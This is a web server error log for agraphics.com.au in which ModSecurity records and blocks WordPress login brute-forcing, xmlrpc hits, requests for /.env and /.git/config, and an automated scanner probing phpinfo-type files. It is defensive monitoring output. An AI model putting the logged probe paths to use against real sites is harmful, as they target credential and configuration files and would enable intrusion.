[Tue Dec 02 22:22:23.784844 2025] [:error] [pid 3649:tid 3726] [client 179.125.163.184:28987] [client 179.125.163.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.125.163.184, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aS72H7wjL4uqC6YFjxG27gAAAI8"]
[Tue Dec 02 22:22:23.796364 2025] [proxy_fcgi:error] [pid 3649:tid 3726] [client 179.125.163.184:28987] AH01071: Got error 'Primary script unknown'
[Wed Dec 03 02:07:40.328331 2025] [:error] [pid 47067:tid 47073] [client 154.16.81.107:18256] [client 154.16.81.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.16.81.107, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/blog/wp-login.php"] [unique_id "aS8q7AcYJkWYuBnpVapVKQAAAAE"]
[Wed Dec 03 02:07:40.863178 2025] [:error] [pid 47158:tid 47175] [client 149.22.87.134:10012] [client 149.22.87.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.22.87.134, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/store/wp-login.php"] [unique_id "aS8q7F3-jeg4VwJRw7EsNQAAAM8"]
[Wed Dec 03 02:07:41.684381 2025] [:error] [pid 47069:tid 47134] [client 154.16.81.107:12843] [client 154.16.81.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.16.81.107, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/blog/wp-login.php"] [unique_id "aS8q7XliPX01jdRNUv2YTwAAAIc"]
[Wed Dec 03 02:07:42.579447 2025] [:error] [pid 25475:tid 25519] [client 149.22.87.134:55734] [client 149.22.87.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.22.87.134, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/store/wp-login.php"] [unique_id "aS8q7h7VdEeEe8GnPSVI4wAAAQc"]
[Wed Dec 03 02:07:42.717371 2025] [:error] [pid 47069:tid 47140] [client 194.26.192.77:63724] [client 194.26.192.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.26.192.77, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aS8q7nliPX01jdRNUv2YVQAAAI0"]
[Wed Dec 03 02:07:42.727239 2025] [proxy_fcgi:error] [pid 47069:tid 47140] [client 194.26.192.77:63724] AH01071: Got error 'Primary script unknown'
[Wed Dec 03 02:07:43.044639 2025] [:error] [pid 47067:tid 47090] [client 154.16.81.107:55450] [client 154.16.81.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.16.81.107, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/blog/wp-login.php"] [unique_id "aS8q7wcYJkWYuBnpVapVLwAAABI"]
[Wed Dec 03 02:07:44.295527 2025] [:error] [pid 47067:tid 47080] [client 149.22.87.134:48538] [client 149.22.87.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.22.87.134, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/store/wp-login.php"] [unique_id "aS8q8AcYJkWYuBnpVapVMwAAAAg"]
[Wed Dec 03 02:07:45.775217 2025] [:error] [pid 47158:tid 47178] [client 154.47.29.204:56159] [client 154.47.29.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.47.29.204, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/store/wp-login.php"] [unique_id "aS8q8V3-jeg4VwJRw7EsPAAAANI"]
[Wed Dec 03 02:07:46.895123 2025] [:error] [pid 47069:tid 47139] [client 2.58.56.220:60166] [client 2.58.56.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 2.58.56.220, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aS8q8nliPX01jdRNUv2YXwAAAIw"]
[Wed Dec 03 02:07:46.899168 2025] [proxy_fcgi:error] [pid 47069:tid 47139] [client 2.58.56.220:60166] AH01071: Got error 'Primary script unknown'
[Wed Dec 03 02:07:47.618626 2025] [:error] [pid 25475:tid 25514] [client 45.141.215.28:17858] [client 45.141.215.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.215.28, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aS8q8x7VdEeEe8GnPSVI9QAAAQI"]
[Wed Dec 03 02:07:47.754920 2025] [:error] [pid 47158:tid 47171] [client 179.61.240.171:63571] [client 179.61.240.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.61.240.171, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/shop/wp-login.php"] [unique_id "aS8q813-jeg4VwJRw7EsQAAAAMs"]
[Wed Dec 03 02:07:51.738523 2025] [:error] [pid 47069:tid 47135] [client 45.141.215.28:54390] [client 45.141.215.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.215.28, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/blog/wp-login.php"] [unique_id "aS8q93liPX01jdRNUv2YaAAAAIg"]
[Wed Dec 03 02:07:56.269376 2025] [:error] [pid 47069:tid 47135] [client 45.141.215.28:54394] [client 45.141.215.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.215.28, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aS8q_HliPX01jdRNUv2YfgAAAIg"]
[Wed Dec 03 02:07:56.381391 2025] [:error] [pid 47069:tid 47132] [client 194.26.192.77:31692] [client 194.26.192.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.26.192.77, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aS8q_HliPX01jdRNUv2YgAAAAIU"]
[Wed Dec 03 02:07:56.385464 2025] [proxy_fcgi:error] [pid 47069:tid 47132] [client 194.26.192.77:31692] AH01071: Got error 'Primary script unknown'
[Wed Dec 03 02:07:56.425370 2025] [:error] [pid 25475:tid 25525] [client 179.61.240.171:32698] [client 179.61.240.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.61.240.171, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/shop/wp-login.php"] [unique_id "aS8q_B7VdEeEe8GnPSVJXgAAAQ0"]
[Wed Dec 03 02:07:58.395454 2025] [:error] [pid 25475:tid 25526] [client 181.214.166.22:3825] [client 181.214.166.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.214.166.22, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aS8q_h7VdEeEe8GnPSVJegAAAQ4"]
[Wed Dec 03 02:07:58.399807 2025] [proxy_fcgi:error] [pid 25475:tid 25526] [client 181.214.166.22:3825] AH01071: Got error 'Primary script unknown'
[Wed Dec 03 02:08:05.306920 2025] [:error] [pid 47158:tid 47160] [client 179.61.240.171:39149] [client 179.61.240.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.61.240.171, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/shop/wp-login.php"] [unique_id "aS8rBV3-jeg4VwJRw7EsnQAAAMA"]
[Wed Dec 03 02:08:05.407350 2025] [:error] [pid 47067:tid 47084] [client 45.141.215.28:57558] [client 45.141.215.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.215.28, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aS8rBQcYJkWYuBnpVapVlgAAAAw"]
[Wed Dec 03 02:08:07.742321 2025] [:error] [pid 25475:tid 25518] [client 185.220.101.41:47623] [client 185.220.101.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.220.101.41, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aS8rBx7VdEeEe8GnPSVJtwAAAQY"]
[Wed Dec 03 02:08:14.208405 2025] [:error] [pid 47067:tid 47085] [client 117.120.9.40:40478] [client 117.120.9.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 117.120.9.40, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/shop/wp-login.php"] [unique_id "aS8rDgcYJkWYuBnpVapVtwAAAA0"]
[Wed Dec 03 02:37:28.133143 2025] [:error] [pid 47069:tid 47142] [client 34.58.134.65:39668] [client 34.58.134.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aS8x6HliPX01jdRNUv2uBgAAAI8"]
[Wed Dec 03 03:06:26.299366 2025] [:error] [pid 47069:tid 47137] [client 104.131.165.239:35914] [client 104.131.165.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS84snliPX01jdRNUv26ZgAAAIo"]
[Wed Dec 03 03:06:28.608217 2025] [:error] [pid 25475:tid 25522] [client 104.131.165.239:60822] [client 104.131.165.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS84tB7VdEeEe8GnPSV51wAAAQo"]
[Wed Dec 03 08:57:21.270474 2025] [:error] [pid 54695:tid 54699] [client 104.131.165.239:48998] [client 104.131.165.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS-K8WrRT4nTHsfUu07W_AAAAUA"]
[Wed Dec 03 08:57:23.032161 2025] [:error] [pid 22083:tid 22095] [client 104.131.165.239:50144] [client 104.131.165.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS-K8_icvKZCy0M9-zzA_AAAAEo"]
[Wed Dec 03 14:19:22.015865 2025] [:error] [pid 20707:tid 20717] [client 104.131.165.239:33672] [client 104.131.165.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS_WajObjEHgU5ngsxdpsgAAAQg"]
[Wed Dec 03 14:19:24.371829 2025] [:error] [pid 20707:tid 20729] [client 104.131.165.239:35880] [client 104.131.165.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS_WbDObjEHgU5ngsxdpuAAAARQ"]
[Wed Dec 03 16:47:00.659767 2025] [:error] [pid 32437:tid 32463] [client 104.131.165.239:58650] [client 104.131.165.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS_5BKBId4T5gQoDbCE3cAAAABc"]
[Wed Dec 03 16:47:03.871070 2025] [:error] [pid 20707:tid 20712] [client 104.131.165.239:42688] [client 104.131.165.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aS_5BzObjEHgU5ngsxeb8wAAAQM"]
[Wed Dec 03 18:28:50.289791 2025] [:error] [pid 20707:tid 20725] [client 104.131.165.239:54940] [client 104.131.165.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTAQ4jObjEHgU5ngsxe9HwAAARA"]
[Wed Dec 03 18:28:52.769838 2025] [:error] [pid 47926:tid 47947] [client 104.131.165.239:44718] [client 104.131.165.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTAQ5Gmj6HWCHJ9euRJvjAAAAZM"]
[Thu Dec 04 03:27:36.114718 2025] [proxy_fcgi:error] [pid 63344:tid 63363] [client 3.1.49.251:57964] AH01071: Got error 'Primary script unknown'
[Thu Dec 04 03:27:36.826671 2025] [proxy_fcgi:error] [pid 3938:tid 3946] [client 3.1.49.251:58180] AH01071: Got error 'Primary script unknown'
[Thu Dec 04 03:27:37.539197 2025] [proxy_fcgi:error] [pid 3840:tid 3869] [client 3.1.49.251:58376] AH01071: Got error 'Primary script unknown'
[Thu Dec 04 03:27:38.957473 2025] [proxy_fcgi:error] [pid 3938:tid 3943] [client 3.1.49.251:58674] AH01071: Got error 'Primary script unknown'
[Thu Dec 04 03:27:39.670421 2025] [proxy_fcgi:error] [pid 3938:tid 3944] [client 3.1.49.251:58830] AH01071: Got error 'Primary script unknown'
[Thu Dec 04 03:27:40.381368 2025] [proxy_fcgi:error] [pid 3841:tid 3884] [client 3.1.49.251:58952] AH01071: Got error 'Primary script unknown'
[Thu Dec 04 03:27:41.093882 2025] [proxy_fcgi:error] [pid 3938:tid 3960] [client 3.1.49.251:59092] AH01071: Got error 'Primary script unknown'
[Thu Dec 04 03:27:41.808516 2025] [proxy_fcgi:error] [pid 63344:tid 63369] [client 3.1.49.251:59226] AH01071: Got error 'Primary script unknown'
[Thu Dec 04 03:27:42.533500 2025] [proxy_fcgi:error] [pid 3938:tid 3954] [client 3.1.49.251:59352] AH01071: Got error 'Primary script unknown'
[Thu Dec 04 03:27:43.247704 2025] [proxy_fcgi:error] [pid 63344:tid 63363] [client 3.1.49.251:59502] AH01071: Got error 'Primary script unknown'
[Thu Dec 04 03:27:43.958599 2025] [:error] [pid 3842:tid 3916] [client 3.1.49.251:59636] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpversion.php"] [unique_id "aTCPLyaILLkuuVMSmjs0PwAAAY0"]
[Thu Dec 04 03:27:44.661162 2025] [:error] [pid 63344:tid 63349] [client 3.1.49.251:59782] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/php_version.php"] [unique_id "aTCPMLFn6Z8FbZz0IjmUnwAAAAA"]
[Thu Dec 04 03:27:45.367907 2025] [:error] [pid 3938:tid 3949] [client 3.1.49.251:59908] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/serverinfo.php"] [unique_id "aTCPMSAHKAmSjlzEts435wAAAgk"]
[Thu Dec 04 03:27:46.074566 2025] [:error] [pid 63344:tid 63371] [client 3.1.49.251:60074] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/server.php"] [unique_id "aTCPMrFn6Z8FbZz0IjmUogAAABY"]
[Thu Dec 04 03:27:46.782393 2025] [:error] [pid 3841:tid 3884] [client 3.1.49.251:60326] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/debug.php"] [unique_id "aTCPMhqrnhYwq_3H8CQzrgAAAUg"]
[Thu Dec 04 03:27:47.488316 2025] [:error] [pid 3841:tid 3881] [client 3.1.49.251:60574] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/diagnostic.php"] [unique_id "aTCPMxqrnhYwq_3H8CQzswAAAUU"]
[Thu Dec 04 03:27:48.195349 2025] [:error] [pid 3841:tid 3888] [client 3.1.49.251:60814] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phptest.php"] [unique_id "aTCPNBqrnhYwq_3H8CQztQAAAUw"]
[Thu Dec 04 03:27:48.904030 2025] [:error] [pid 3840:tid 3862] [client 3.1.49.251:60990] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/check.php"] [unique_id "aTCPNJF_IDAg4wPRjg7dnAAAAE4"]
[Thu Dec 04 03:27:49.610662 2025] [:error] [pid 63344:tid 63353] [client 3.1.49.251:32902] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/probe.php"] [unique_id "aTCPNbFn6Z8FbZz0IjmUpgAAAAQ"]
[Thu Dec 04 03:27:50.320956 2025] [:error] [pid 3938:tid 3941] [client 3.1.49.251:32986] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/_profiler/phpinfo"] [unique_id "aTCPNiAHKAmSjlzEts439QAAAgE"]
[Thu Dec 04 03:27:51.028706 2025] [:error] [pid 3842:tid 3926] [client 3.1.49.251:33100] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTCPNyaILLkuuVMSmjs0SwAAAZc"]
[Thu Dec 04 03:27:51.736328 2025] [:error] [pid 3840:tid 3867] [client 3.1.49.251:33190] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aTCPN5F_IDAg4wPRjg7dpwAAAFM"]
[Thu Dec 04 03:27:52.445634 2025] [:error] [pid 63344:tid 63369] [client 3.1.49.251:33498] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aTCPOLFn6Z8FbZz0IjmUqgAAABQ"]
[Thu Dec 04 03:27:53.222382 2025] [:error] [pid 3938:tid 3955] [client 3.1.49.251:33798] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aTCPOSAHKAmSjlzEts44FQAAAg8"]
[Thu Dec 04 03:27:53.933749 2025] [:error] [pid 3938:tid 3954] [client 3.1.49.251:33988] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aTCPOSAHKAmSjlzEts44HgAAAg4"]
[Thu Dec 04 03:27:54.645392 2025] [:error] [pid 3841:tid 3887] [client 3.1.49.251:34178] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info_php.php"] [unique_id "aTCPOhqrnhYwq_3H8CQzvwAAAUs"]
[Thu Dec 04 03:27:55.355226 2025] [:error] [pid 63344:tid 63355] [client 3.1.49.251:34344] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/php-info.php"] [unique_id "aTCPO7Fn6Z8FbZz0IjmUsAAAAAY"]
[Thu Dec 04 03:27:56.068613 2025] [:error] [pid 3841:tid 3877] [client 3.1.49.251:34472] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/infophp.php"] [unique_id "aTCPPBqrnhYwq_3H8CQzwgAAAUE"]
[Thu Dec 04 03:27:56.777756 2025] [:error] [pid 3938:tid 3943] [client 3.1.49.251:34578] [client 3.1.49.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/testphp.php"] [unique_id "aTCPPCAHKAmSjlzEts44QgAAAgM"]
[Thu Dec 04 03:27:57.489002 2025] [:error] [pid 3938:tid 3964] [client 3.1.49.251:34684] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTCPPSAHKAmSjlzEts44TQAAAhg"]
[Thu Dec 04 03:27:58.199231 2025] [:error] [pid 3938:tid 3940] [client 3.1.49.251:34794] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aTCPPiAHKAmSjlzEts44WAAAAgA"]
